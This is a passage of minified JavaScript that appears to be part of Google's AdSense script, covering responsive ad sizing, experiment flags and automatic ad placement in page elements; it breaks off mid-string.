vf={9:"400",10:"100",13:"0.001",22:"0.01",24:"0.05",28:"0.001",29:"0.01",34:"0.001",60:"0.03",66:"0.1",78:"0.1",79:"1200",82:"3",96:"700",97:"20",98:"0.01",99:"600",100:"100",103:"0.01",111:"0.1",118:"false",120:"0",121:"1000",126:"0.001",128:"false",129:"0.02",135:"0.01",136:"0.02",137:"0.01",142:"1",149:"0",150:"1000",152:"700",153:"20",155:"1",157:"1",158:"100",160:"250",161:"150",162:"0.1",165:"0.02",173:"800",174:"2",176:"0",177:"0.02",179:"100",180:"20",182:"0.1",185:"0.4",189:"400",190:"100",191:"0.04",192:"0",193:"500",194:"90",195:"0",196:"100",197:"false",199:"0",200:"2",201:"true"};var wf=null;function xf(){this.a=vf}function O(a,b){a=parseFloat(a.a[b]);return isNaN(a)?0:a}function yf(a){var b=zf();return jc(b.a[a],!1)}function zf(){wf||(wf=new xf);return wf};var Af=null;function Bf(){if(!Af){for(var a=p,b=a,c=0;a&&a!=a.parent;)if(a=a.parent,c++,Wb(a))b=a;else break;Af=b}return Af};function Cf(){this.a=function(){return[]};this.b=function(){return[]}}function Df(a,b){a.a=cf(Qe,b,function(){});a.b=cf(Re,b,function(){return[]})}va(Cf);var Ef={c:"368226950",g:"368226951"},Ff={c:"368226960",g:"368226961"},Gf={c:"368226470",U:"368226471"},Hf={c:"368226480",U:"368226481"},If={c:"332260030",R:"332260031",P:"332260032"},Jf={c:"332260040",R:"332260041",P:"332260042"},Kf={c:"368226100",g:"368226101"},Lf={c:"368226110",g:"368226111"},Mf={c:"368226500",g:"368226501"},Nf={c:"36998750",g:"36998751"},Of={c:"633794000",B:"633794004"},Pf={c:"633794002",B:"633794005"},Qf={c:"231196899",g:"231196900"},Rf={c:"231196901",g:"231196902"},Sf={c:"21063914",g:"21063915"},Tf={c:"4089040",Da:"4089042"},Uf={o:"20040067",c:"20040068",la:"1337"},Vf={c:"21060548",o:"21060549"},Wf={c:"21060623",o:"21060624"},Xf={c:"22324606",g:"22324607"},Yf={c:"21062271",o:"21062272"},Zf={c:"368226370",g:"368226371"},$f={c:"368226380",g:"368226381"},ag={c:"182982000",g:"182982100"},cg={c:"182982200",g:"182982300"},dg={c:"182983000",g:"182983100"},eg={c:"182983200",g:"182983300"},fg={c:"182984000",g:"182984100"},gg={c:"182984200",g:"182984300"},hg={c:"229739148",g:"229739149"},ig={c:"229739146",g:"229739147"},jg={c:"20040012",g:"20040013"},kg={c:"151527201",T:"151527221",L:"151527222",K:"151527223",I:"151527224",J:"151527225"},P={c:"151527001",T:"151527021",L:"151527022",K:"151527023",I:"151527024",J:"151527025"},lg={c:"151527002",aa:"151527006",ba:"151527007"};function mg(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledInAsfe={};this.isReactiveTagFirstOnPage=this.wasReactiveAdConfigHandlerRegistered=this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.tagSpecificState={};this.adRegion=null;this.improveCollisionDetection=0;this.messageValidationEnabled=!1}function ng(a){a.google_reactive_ads_global_state||(a.google_reactive_ads_global_state=new mg);return a.google_reactive_ads_global_state};function og(a){a=a.document;var b={};a&&(b="CSS1Compat"==a.compatMode?a.documentElement:a.body);return b||{}}function Q(a){return og(a).clientWidth};function pg(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=F(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}function qg(a,b){return!((hc.test(b.google_ad_width)||gc.test(a.style.width))&&(hc.test(b.google_ad_height)||gc.test(a.style.height)))}function rg(a,b){return(a=sg(a,b))?a.y:0}function sg(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();return{x:d.left-c.left,y:d.top-c.top}}catch(e){return null}}function tg(a,b){do{var c=$b(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0}function ug(a){var b=0,c;for(c in uf)-1!=a.indexOf(c)&&(b|=uf[c]);return b}function vg(a,b,c,d,e){if(Lc(a)!=a)return Mc(a)?3:16;if(!(488>Q(a)))return 4;if(!(a.innerHeight>=a.innerWidth))return 5;var f=Q(a);if(!f||(f-c)/f>d)a=6;else{if(c="true"!=e.google_full_width_responsive)a:{c=Q(a);for(b=b.parentElement;b;b=b.parentElement)if((d=$b(b,a))&&(e=F(d.width))&&!(e>=c)&&"visible"!=d.overflow){c=!0;break a}c=!1}a=c?7:!0}return a}function wg(a,b,c,d){var e=vg(b,c,a,.3,d);if(!0!==e)return e;e=Q(b);a=e-a;a=e&&0<=a?!0:e?-10>a?11:0>a?14:12:10;return"true"==d.google_full_width_responsive||tg(c,b)?a:9}function xg(a,b,c){"rtl"==b?a.style.marginRight=c:a.style.marginLeft=c}function yg(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=$b(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1}function zg(a,b,c){a=sg(b,a);return"rtl"==c?-a.x:a.x}function Ag(a,b,c,d,e,f){var g=J(a,Kf.g);var h=J(a,Kf.c);if(g||h)f.ovlp=!0;if(g){if(e=b.parentElement)if(e=$b(e,a))b.style.width=Q(a)+"px",e=e.direction,xg(b,e,"0px"),c=zg(a,b,e),xg(b,e,-1*c+"px"),a=zg(a,b,e),0!==a&&a!==c&&xg(b,e,c/(a-c)*c+"px"),b.style.zIndex=30}else if(a=$b(c,a)){g=F(a.paddingLeft)||0;a=a.direction;d=e-d;if(f.google_ad_resize)c=-1*(d+g)+"px";else{for(h=f=0;100>h&&c;h++)f+=c.offsetLeft+c.clientLeft-c.scrollLeft,c=c.offsetParent;c=f+g;c="rtl"==a?-1*(d-c)+"px":-1*c+"px"}xg(b,a,c);b.style.width=e+"px";b.style.zIndex=30}};function R(a,b){this.b=a;this.a=b}l=R.prototype;l.minWidth=function(){return this.b};l.height=function(){return this.a};l.M=function(a){return 300<a&&300<this.a?this.b:Math.min(1200,Math.round(a))};l.ea=function(a){return this.M(a)+"x"+this.height()};l.Z=function(){};function Bg(a,b,c,d){d=void 0===d?function(f){return f}:d;var e;return a.style&&a.style[c]&&d(a.style[c])||(e=$b(a,b))&&e[c]&&d(e[c])||null}function Cg(a){return function(b){return b.minWidth()<=a}}function Dg(a,b,c,d){var e=a&&Eg(c,b),f=Fg(b,d);return function(g){return!(e&&g.height()>=f)}}function Gg(a){return function(b){return b.height()<=a}}function Eg(a,b){return rg(a,b)<og(b).clientHeight-100}function Hg(a,b){a=rg(a,b);b=og(b).clientHeight;return 0==b?null:a/b}function Ig(a,b){var c=Infinity;do{var d=Bg(b,a,"height",F);d&&(c=Math.min(c,d));(d=Bg(b,a,"maxHeight",F))&&(c=Math.min(c,d))}while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Jg(a,b){var c=Bg(b,a,"height",F);if(c)return c;var d=b.style.height;b.style.height="inherit";c=Bg(b,a,"height",F);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&F(b.style.height))&&(c=Math.min(c,d)),(d=Bg(b,a,"maxHeight",F))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Fg(a,b){var c=a.google_unique_id;return b&&0==("number"===typeof c?c:0)?Math.max(250,2*og(a).clientHeight/3):250};function Kg(a,b){for(var c=[],d=a.length,e=0;e<d;e++)c.push(a[e]);c.forEach(b,void 0)};function Lg(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};function Mg(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=yb(d.$a);a[e]=d.value}};function Ng(a,b,c,d){this.h=a;this.b=b;this.f=c;this.a=d}function Og(a,b){var c=[];try{c=b.querySelectorAll(a.h)}catch(g){}if(!c.length)return[];b=c;c=b.length;if(0<c){for(var d=Array(c),e=0;e<c;e++)d[e]=b[e];b=d}else b=[];b=Pg(a,b);pa(a.b)&&(c=a.b,0>c&&(c+=b.length),b=0<=c&&c<b.length?[b[c]]:[]);if(pa(a.f)){c=[];for(d=0;d<b.length;d++){e=Qg(b[d]);var f=a.f;0>f&&(f+=e.length);0<=f&&f<e.length&&c.push(e[f])}b=c}return b}Ng.prototype.toString=function(){return JSON.stringify({nativeQuery:this.h,occurrenceIndex:this.b,paragraphIndex:this.f,ignoreMode:this.a})};function Pg(a,b){if(null==a.a)return b;switch(a.a){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.a);}}function Qg(a){var b=[];Kg(a.getElementsByTagName("p"),function(c){100<=Rg(c)&&b.push(c)});return b}function Rg(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;Kg(a.childNodes,function(c){b+=Rg(c)});return b}function Sg(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};function Tg(a){if(!a)return null;var b=y(a,7);if(y(a,1)||a.X()||0<y(a,4).length){var c=a.X(),d=y(a,1),e=y(a,4);b=y(a,2);var f=y(a,5);a=Ug(y(a,6));var g="";d&&(g+=d);c&&(g+="#"+Sg(c));if(e)for(c=0;c<e.length;c++)g+="."+Sg(e[c]);b=(e=g)?new Ng(e,b,f,a):null}else b=b?new Ng(b,y(a,2),y(a,5),Ug(y(a,6))):null;return b}var Vg={1:1,2:2,3:3,0:0};function Ug(a){return null!=a?Vg[a]:a}var Wg={1:0,2:1,3:2,4:3};function Xg(){this.a={};this.b={}}Xg.prototype.add=function(a){this.a[a]=!0;this.b[a]=a};Xg.prototype.contains=function(a){return!!this.a[a]};function Yg(){this.a={};this.b={}}Yg.prototype.set=function(a,b){this.a[a]=b;this.b[a]=a};Yg.prototype.get=function(a,b){return void 0!==this.a[a]?this.a[a]:b};function Zg(){this.a=new Yg}Zg.prototype.set=function(a,b){var c=this.a.get(a);c||(c=new Xg,this.a.set(a,c));c.add(b)};function $g(a,b){function c(){d.push({anchor:e.anchor,position:e.position});return e.anchor==b.anchor&&e.position==b.position}for(var d=[],e=a;e;){switch(e.position){case 1:if(c())return d;e.position=2;case 2:if(c())return d;if(e.anchor.firstChild){e={anchor:e.anchor.firstChild,position:1};continue}else e.position=3;case 3:if(c())return d;e.position=4;case 4:if(c())return d}for(;e&&!e.anchor.nextSibling&&e.anchor.parentNode!=e.anchor.ownerDocument.body;){e={anchor:e.anchor.parentNode,position:3};if(c())return d;e.position=4;if(c())return d}e&&e.anchor.nextSibling?e={anchor:e.anchor.nextSibling,position:1}:e=null}return d};function ah(a,b){this.b=a;this.a=b}function bh(a,b){var c=new Zg,d=new Xg;b.forEach(function(e){if(B(e,Xc,1)){e=B(e,Xc,1);if(B(e,Uc,1)&&B(B(e,Uc,1),Sc,1)&&B(e,Uc,2)&&B(B(e,Uc,2),Sc,1)){var f=ch(a,B(B(e,Uc,1),Sc,1)),g=ch(a,B(B(e,Uc,2),Sc,1));if(f&&g)for(f=ba($g({anchor:f,position:y(B(e,Uc,1),2)},{anchor:g,position:y(B(e,Uc,2),2)})),g=f.next();!g.done;g=f.next())g=g.value,c.set(Aa(g.anchor),g.position)}B(e,Uc,3)&&B(B(e,Uc,3),Sc,1)&&(f=ch(a,B(B(e,Uc,3),Sc,1)))&&c.set(Aa(f),y(B(e,Uc,3),2))}else B(e,Yc,2)?dh(a,B(e,Yc,2),c):B(e,Zc,3)&&eh(a,B(e,Zc,3),d)});return new ah(c,d)}function dh(a,b,c){B(b,Sc,1)&&(a=fh(a,B(b,Sc,1)))&&a.forEach(function(d){d=Aa(d);c.set(d,1);c.set(d,4);c.set(d,2);c.set(d,3)})}function eh(a,b,c){B(b,Sc,1)&&(a=fh(a,B(b,Sc,1)))&&a.forEach(function(d){c.add(Aa(d))})}function ch(a,b){return(a=fh(a,b))&&0<a.length?a[0]:null}function fh(a,b){return(b=Tg(b))?Og(b,a):null};function gh(a,b){var c=b.b-301,d=b.a+b.f+301,e=b.b+301,f=b.a-301;return!La(a,function(g){return g.left<d&&f<g.right&&g.top<e&&c<g.bottom})};function hh(a,b){if(!a)return!1;a=$b(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a}function ih(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null}function jh(a){return!!a.nextSibling||!!a.parentNode&&jh(a.parentNode)};function kh(a,b){return a&&null!=y(a,4)&&b[y(B(a,ad,4),2)]?!1:!0}function lh(a){var b={};a&&y(a,6).forEach(function(c){b[c]=!0});return b}function mh(a,b,c,d){this.a=p;this.$=a;this.f=b;this.i=d||null;this.s=(this.w=c)?bh(p.document,C(c,Vc,5)):bh(p.document,[]);this.b=0;this.h=!1}function nh(a,b){if(a.h)return!0;a.h=!0;var c=C(a.f,bd,1);a.b=0;var d=lh(a.w);if(B(a.f,ld,15)&&Gb(B(a.f,ld,15),12)){var e=sf(a.a);e=null===e?null:C(e,pf,5);if(null!=e){var f=sf(a.a);f=null!==f&&null!=y(f,3)&&null!==Eb(f,3)?Eb(f,3):.3;var g=sf(a.a);g=null!==g&&null!=y(g,4)?Eb(g,4):1;f-=g;g=[];for(var h=0;h<e.length&&.05<=f&&4>(oh(a).numAutoAdsPlaced||0);h++){var k=y(e[h],1);if(null==k)break;var m=c[k],n=B(e[h],of,2);null!=n&&null!=Eb(n,1)&&null!=Eb(n,2)&&null!=Eb(n,3)&&(n=new nf(Eb(n,1),Eb(n,2),Eb(n,3)),gh(g,n)&&(k=ph(a,m,k,b,d),null!=k&&null!=k.V&&(k=k.V.getBoundingClientRect(),g.push(k),m=a.a,f-=k.width*k.height/(og(m).clientHeight*Q(m)))))}}return!0}e=sf(a.a);if(null!==e&&Gb(e,2))return oh(a).eatf=!0,mf(7,[!0,0,!1]),!0;for(e=0;e<c.length;e++)if(ph(a,c[e],e,b,d))return!0;mf(7,[!1,a.b,!1]);return!1}function ph(a,b,c,d,e){if(1!==y(b,8)||!kh(b,e))return null;var f=B(b,ad,4);if(f&&2==y(f,1)){a.b++;if(b=qh(a,b,d,e))d=oh(a),d.placement=c,d.numAutoAdsPlaced||(d.numAutoAdsPlaced=0),d.numAutoAdsPlaced++,mf(7,[!1,a.b,!0]);return b}return null}function qh(a,b,c,d){if(!kh(b,d)||1!=y(b,8))return null;d=B(b,Sc,1);if(!d)return null;d=Tg(d);if(!d)return null;d=Og(d,a.a.document);if(0==d.length)return null;d=d[0];var e=y(b,2);e=Wg[e];e=void 0!==e?e:null;var f;if(!(f=null==e)){a:{f=a.a;switch(e){case 0:f=hh(ih(d),f);break a;case 3:f=hh(d,f);break a;case 2:var g=d.lastChild;f=hh(g?1==g.nodeType?g:ih(g):null,f);break a}f=!1}if(c=!f&&!(!c&&2==e&&!jh(d)))c=1==e||2==e?d:d.parentNode,c=!(c&&!Lg(c)&&0>=c.offsetWidth);f=!c}if(!(c=f)){c=a.s;f=y(b,2);g=Aa(d);g=c.b.a.get(g);if(!(g=g?g.contains(f):!1))a:{if(c.a.contains(Aa(d)))switch(f){case 2:case 3:g=!0;break a;default:g=!1;break a}for(f=d.parentElement;f;){if(c.a.contains(Aa(f))){g=!0;break a}f=f.parentElement}g=!1}c=g}if(c)return null;f=B(b,$c,3);c={};f&&(c.za=y(f,1),c.na=y(f,2),c.Ha=!!Fb(f,3));f=B(b,ad,4)&&y(B(b,ad,4),2)?y(B(b,ad,4),2):null;f=ie(f);b=null==y(b,12)?null:y(b,12);b=he(a.i,f,null==b?null:new ge(null,{google_ml_rank:b}));f=a.a;a=a.$;var h=f.document;g=Rb((new Sb(h)).a,"DIV");var k=g.style;k.textAlign="center";k.width="100%";k.height="auto";k.clear=c.Ha?"both":"none";c.Pa&&Mg(k,c.Pa);h=Rb((new Sb(h)).a,"INS");k=h.style;k.display="block";k.margin="auto";k.backgroundColor="transparent";c.za&&(k.marginTop=c.za);c.na&&(k.marginBottom=c.na);c.Fa&&Mg(k,c.Fa);g.appendChild(h);c={da:g,V:h};c.V.setAttribute("data-ad-format","auto");g=[];if(h=b&&b.oa)c.da.className=h.join(" ");h=c.V;h.className="adsbygoogle";h.setAttribute("data-ad-client",a);g.length&&h.setAttribute("data-ad-channel",g.join("+"));a:{try{var m=c.da;switch(e){case 0:d.parentNode&&d.parentNode.insertBefore(m,d);break;case 3:var n=d.parentNode;if(n){var u=d.nextSibling;if(u&&u.parentNode!=n)for(;u&&8==u.nodeType;)u=u.nextSibling;n.insertBefore(m,u)}break;case 1:d.insertBefore(m,d.firstChild);break;case 2:d.appendChild(m)}Lg(d)&&(d.setAttribute("data-init-display",d.style.display),d.style.display="block");b:{var w=c.V;w.setAttribute("data-adsbygoogle-status","reserved");w.className+=" adsbygoogle-noablate";m={element:w};var z=b&&b.ua;if(w.hasAttribute("data-pub-vars")){try{z=JSON.parse(w.getAttribute("data-pub-vars"))}catch(H){break b}w.removeAttribute("data-pub-vars")}z&&(m.params=z);(f.adsbygoogle=f.adsbygoogle||[]).push(m)}}catch(H){(w=c.da)&&w.parentNode&&(z=w.parentNode,z.removeChild(w),Lg(z)&&(z.style.display=z.getAttribute("data-init-display")||"none"));w=!1;break a}w=!0}return w?c:null}function oh(a){return a.a.google_ama_state=a.a.google_ama_state||{}};function rh(){this.b=new sh(this);this.a=0}function th(a){if(0!=a.a)throw Error("Already resolved/rejected.");}function sh(a){this.a=a}function uh(a){switch(a.a.a){case 0:break;case 1:a.b&&a.b(a.a.h);break;case 2:a.f&&a.f(a.a.f);break;default:throw Error("Unhandled deferred state.");}};function vh(a,b){this.exception=b}function wh(a,b){this.f=p;this.a=a;this.b=b}wh.prototype.start=function(){this.h()};wh.prototype.h=function(){try{switch(this.f.document.readyState){case "complete":case "interactive":nh(this.a,!0);xh(this);break;default:nh(this.a,!1)?xh(this):this.f.setTimeout(Fa(this.h,this),100)}}catch(a){xh(this,a)}};function xh(a,b){try{var c=a.b,d=new vh(new tf(oh(a.a).numAutoAdsPlaced||0),b);th(c);c.a=1;c.h=d;uh(c.b)}catch(e){a=a.b,b=e,th(a),a.a=2,a.f=b,uh(a.b)}};function yh(a){me(a,{atf:1})}function zh(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;me(a,{atf:0})};function Ah(){this.debugCard=null;this.debugCardRequested=!1};function Bh(a,b){if(!a)return!1;a=a.hash;if(!a||!a.indexOf)return!1;if(-1!=a.indexOf(b))return!0;b=Ch(b);return"go"!=b&&-1!=a.indexOf(b)?!0:!1}function Ch(a){var b="";Dc(a.split("_"),function(c){b+=c.substr(0,2)});return b};function Dh(a,b,c){var d="script";d=void 0===d?"":d;var e=a.createElement("link");try{e.rel="preload";if(eb("preload","stylesheet"))var f=Xa(b).toString();else{if(b instanceof Va)var g=Xa(b).toString();else{if(b instanceof hb)var h=jb(b);else{if(b instanceof hb)var k=b;else b="object"==typeof b&&b.f?b.b():String(b),kb.test(b)||(b="about:invalid#zClosurez"),k=lb(b);h=jb(k)}g=h}f=g}e.href=f}catch(m){return}d&&(e.as=d);c&&e.setAttribute("nonce",c);if(a=a.getElementsByTagName("head")[0])try{a.appendChild(e)}catch(m){}};function Eh(a){var b={},c={};return c.enable_page_level_ads=(b.pltais=!0,b),c.google_ad_client=a,c};function Fh(a){if(!a)return"";(a=a.toLowerCase())&&"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};function Gh(a,b){function c(d){try{var e=new Kb(d);return Ma(C(e,Mb,2),function(f){return 1==y(f,1)})}catch(f){return null}}b=void 0===b?"":b;a=Mc(a)||a;a=Hh(a);return b?(b=Fh(String(b)),a[b]?c(a[b]):null):Ma(Ka(Ta(a),c),function(d){return null!=d})}function Ih(a,b,c){function d(e){if(!e)return!1;e=new Kb(e);return y(e,3)&&Oa(y(e,3),b)}c=void 0===c?"":c;a=Mc(a)||a;if(Jh(a,b))return!0;a=Hh(a);return c?(c=Fh(String(c)),d(a[c])):Sa(a,d)}function Jh(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/forced_clientside_labs=([\d,]+)/))&&a[1];return!!a&&Oa(a.split(","),b.toString())}function Hh(a){try{return mc({},JSON.parse(a.localStorage.getItem("google_adsense_settings")))}catch(b){return{}}};function Kh(a){var b=Ih(p,12,a.google_ad_client);a="google_ad_host"in a;var c=J(p,Ef.g),d=Bh(p.location,"google_ads_preview");return b&&!a&&c||d}function Lh(a){if(p.google_apltlad||Lc(p)!=p||!a.google_ad_client)return null;var b=Kh(a),c=!J(p,Gf.U);if(!b&&!c)return null;p.google_apltlad=!0;var d=Eh(a.google_ad_client),e=d.enable_page_level_ads;ec(a,function(f,g){Rc[g]&&"google_ad_client"!=g&&(e[g]=f)});b?e.google_ad_channel="AutoInsertAutoAdCode":c&&(e.google_pgb_reactive=7,"google_ad_section"in a||"google_ad_region"in a)&&(e.google_ad_section=a.google_ad_section||a.google_ad_region);return d}function Mh(a){return za(a.enable_page_level_ads)&&7==a.enable_page_level_ads.google_pgb_reactive};function ae(a){try{var b=I(p).eids||[];null!=b&&0<b.length&&(a.eid=b.join(","))}catch(c){}}function $d(a){a.shv=wc()}Vd.h=!xc;function Nh(a,b){return rg(b,a)+Bg(b,a,"height",F)};var Oh=new K(200,399,""),Ph=new K(400,499,""),Qh=new K(600,699,""),Rh=new K(700,799,""),Sh=new K(800,899,""),Th=new K(1,399,"3"),Uh=new K(0,999,"5"),Vh=new K(400,499,"6"),Wh=new K(500,599,""),Xh=new K(0,999,"7"),Yh=new K(0,999,"8");function Zh(a){a=void 0===a?p:a;return a.ggeac||(a.ggeac={})};function $h(){var a={};this[3]=(a[8]=function(b){return!!ta(b)},a[9]=function(b){b=ta(b);var c;if(c="function"==wa(b))b=b&&b.toString&&b.toString(),c=q(b)&&eb(b,"[native code]");return c},a[10]=function(){return window==window.top},a[16]=function(){return qc()},a[22]=function(){return pc()},a);a={};this[4]=(a[5]=function(b){b=Dd(window,void 0===b?"":b);return null!=b?b:void 0},a[6]=function(b){b=ta(b);return pa(b)?b:void 0},a);a={};this[5]=(a[2]=function(){return window.location.href},a[3]=function(){try{return window.top.location.hash}catch(b){return""}},a[4]=function(b){b=ta(b);return q(b)?b:void 0},a)}va($h);function ai(a){x(this,a,bi,null)}r(ai,v);var bi=[2];ai.prototype.X=function(){return A(this,1,0)};ai.prototype.W=function(){return A(this,7,0)};function ci(a){x(this,a,di,null)}r(ci,v);var di=[2];ci.prototype.W=function(){return A(this,5,0)};function ei(a){x(this,a,fi,null)}r(ei,v);function gi(a){x(this,a,hi,null)}r(gi,v);var fi=[1,2],hi=[2];gi.prototype.W=function(){return A(this,1,0)};var ii=[12,13];function ji(a,b){var c=this,d=void 0===b?{}:b;b=void 0===d.Ja?!1:d.Ja;var e=void 0===d.Oa?{}:d.Oa;d=void 0===d.Xa?[]:d.Xa;this.a=a;this.i=b;this.f=e;this.h=d;this.b={};(a=Fd())&&Ia(a.split(",")||[],function(f){(f=parseInt(f,10))&&(c.b[f]=!0)})}function ki(a,b){var c=[],d=li(a.a,b);d.length&&(9!==b&&(a.a=mi(a.a,b)),Ia(d,function(e){if(e=ni(a,e)){var f=e.X();c.push(f);a.h.push(f);(e=C(e,ze,2))&&Ne(e)}}));return c}function oi(a,b){a.a.push.apply(a.a,ca(Ja(Ka(b,function(c){return new gi(c)}),function(c){return!Oa(ii,c.W())})))}function ni(a,b){var c=De.j().a;if(!we(B(b,pe,3),c))return null;var d=C(b,ai,2),e=c?Ja(d,function(g){return we(B(g,pe,3),c)}):d,f=e.length;if(!f)return null;d=A(b,4,0);b=f*A(b,1,0);if(!d)return pi(a,e,b/1E3);f=null!=a.f[d]?a.f[d]:1E3;if(0>=f)return null;e=pi(a,e,b/f);a.f[d]=e?0:f-b;return e}function pi(a,b,c){var d=a.b,e=Ma(b,function(f){return!!d[f.X()]});return e?e:a.i?null:ac(b,c,!1)}function qi(a,b){N(Pe,function(c){a.b[c]=!0},b);N(Qe,function(c){return ki(a,c)},b);N(Re,function(){return a.h},b);N($e,function(c){return oi(a,c)},b)}function li(a,b){return(a=Ma(a,function(c){return c.W()==b}))&&C(a,ci,2)||[]}function mi(a,b){return Ja(a,function(c){return c.W()!=b})};function ri(){this.a=function(){}}va(ri);function si(){var a=$h.j();ri.j().a(a)};function ti(a,b){var c=void 0===c?Zh():c;c.hasOwnProperty("init-done")?(cf($e,c)(Ka(C(a,gi,2),function(d){return Jb(d)})),cf(af,c)(Ka(C(a,ze,1),function(d){return Jb(d)})),ui(c)):(qi(new ji(C(a,gi,2),b),c),df(c),ef(c),ff(c),ui(c),Ne(C(a,ze,1)),si())}function ui(a){var b=a=void 0===a?Zh():a;Df(Cf.j(),b);b=a;gf.j().a=cf(Te,b);ri.j().a=cf(bf,a)};function S(a,b){b&&a.push(b)}function vi(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];d=Mc(a)||a;d=(d=(d=d.location&&d.location.hash)&&(d.match(/google_plle=([\d,]+)/)||d.match(/deid=([\d,]+)/)))&&d[1];return!!d&&La(c,Ga(eb,d))}function wi(a,b,c){for(var d=0;d<c.length;d++)if(vi(a,c[d]))return c[d];return ac(c,b)}function T(a,b,c,d,e,f){f=void 0===f?1:f;for(var g=0;g<e.length;g++)if(vi(a,e[g]))return e[g];f=void 0===f?1:f;0>=d?c=null:(g=new Cd(c,c+d-1),(d=d%f||d/f%e.length)||(d=b.b,d=!(d.start<=g.start&&d.a>=g.a)),d?c=null:(a=Dd(a,b.a),c=null!==a&&g.start<=a&&g.a>=a?e[Math.floor((a-c)/f)%e.length]:null));return c};function xi(a,b,c){if(Wb(a.document.getElementById(b).contentWindow))a=a.document.getElementById(b).contentWindow,b=a.document,b.body&&b.body.firstChild||(/Firefox/.test(navigator.userAgent)?b.open("text/html","replace"):b.open(),a.google_async_iframe_close=!0,b.write(c));else{a=a.document.getElementById(b).contentWindow;c=String(c);b=['"'];for(var d=0;d<c.length;d++){var e=c.charAt(d),f=e.charCodeAt(0),g=d+1,h;if(!(h=wb[e])){if(!(31<f&&127>f))if(f=e,f in xb)e=xb[f];else if(f in wb)e=xb[f]=wb[f];else{h=f.charCodeAt(0);if(31<h&&127>h)e=f;else{if(256>h){if(e="\\x",16>h||256<h)e+="0"}else e="\\u",4096>h&&(e+="0");e+=h.toString(16).toUpperCase()}e=xb[f]=e}h=e}b[g]=h}b.push('"');a.location.replace("javascript:"+b.join(""))}};var yi=null;function U(a,b,c,d){d=void 0===d?!1:d;R.call(this,a,b);this.Y=c;this.Ma=d}ka(U,R);U.prototype.ha=function(){return this.Y};U.prototype.Z=function(a,b,c,d){if(!c.google_ad_resize){d.style.height=this.height()+"px";b=J(a,Of.c)||"ca-pub-9118350542306317"===c.google_ad_client;d=yf(197)?!J(a,Of.c):J(a,Of.B);var e=J(a,P.c),f=J(a,P.T)||J(a,P.L)||J(a,P.K)||J(a,P.I)||J(a,P.J);if(J(a,Of.c)||J(a,Of.B)||e||f)c.ovlp=!0;b?c.rpe=!1:d&&(c.rpe=!0)}};function zi(a){return function(b){return!!(b.Y&a)}};var Ai=zb("script");function Bi(a,b,c,d,e,f,g,h,k,m,n,u,w,z){this.sa=a;this.a=b;this.Y=void 0===c?null:c;this.f=void 0===d?null:d;this.ja=void 0===e?null:e;this.b=void 0===f?null:f;this.h=void 0===g?null:g;this.w=void 0===h?!1:h;this.$=void 0===k?!1:k;this.Aa=void 0===m?null:m;this.Ba=void 0===n?null:n;this.i=void 0===u?null:u;this.s=void 0===w?null:w;this.Ca=void 0===z?null:z;this.ka=this.xa=this.ta=null}function Ci(a,b,c){null!=a.Y&&(c.google_responsive_formats=a.Y);null!=a.ja&&(c.google_safe_for_responsive_override=a.ja);null!=a.b&&(!0===a.b?c.google_full_width_responsive_allowed=!0:(c.google_full_width_responsive_allowed=!1,c.gfwrnwer=a.b));null!=a.h&&!0!==a.h&&(c.gfwrnher=a.h);a.w&&(c.google_bfa=a.w);a.$&&(c.ebfa=a.$);var d=a.s||c.google_ad_width;null!=d&&(c.google_resizing_width=d);d=a.i||c.google_ad_height;null!=d&&(c.google_resizing_height=d);d=a.a.M(b);var e=a.a.height();c.google_ad_resize||(c.google_ad_width=d,c.google_ad_height=e,c.google_ad_format=a.a.ea(b),c.google_responsive_auto_format=a.sa,null!=a.f&&(c.armr=a.f),c.google_ad_resizable=!0,c.google_override_format=1,c.google_loader_features_used=128,!0===a.b&&(c.gfwrnh=a.a.height()+"px"));null!=a.Aa&&(c.gfwroml=a.Aa);null!=a.Ba&&(c.gfwromr=a.Ba);null!=a.i&&(c.gfwroh=a.i);null!=a.s&&(c.gfwrow=a.s);null!=a.Ca&&(c.gfwroz=a.Ca);null!=a.ta&&(c.gml=a.ta);null!=a.xa&&(c.gmr=a.xa);null!=a.ka&&(c.gzi=a.ka);b=Jc();b=Mc(b)||b;Bh(b.location,"google_responsive_slot_debug")&&(c.ds="outline:thick dashed "+(d&&e?!0!==a.b||!0!==a.h?"#ffa500":"#0f0":"#f00")+" !important;");!Bh(b.location,"google_responsive_dummy_ad")||!Oa([1,2,3,4,5,6,7,8],a.sa)&&1!==a.f||c.google_ad_resize||2===a.f||(a=JSON.stringify({googMsgType:"adpnt",key_value:[{key:"qid",value:"DUMMY_AD"}]}),c.dash="<"+Ai+">window.top.postMessage('"+a+"', '*');\n 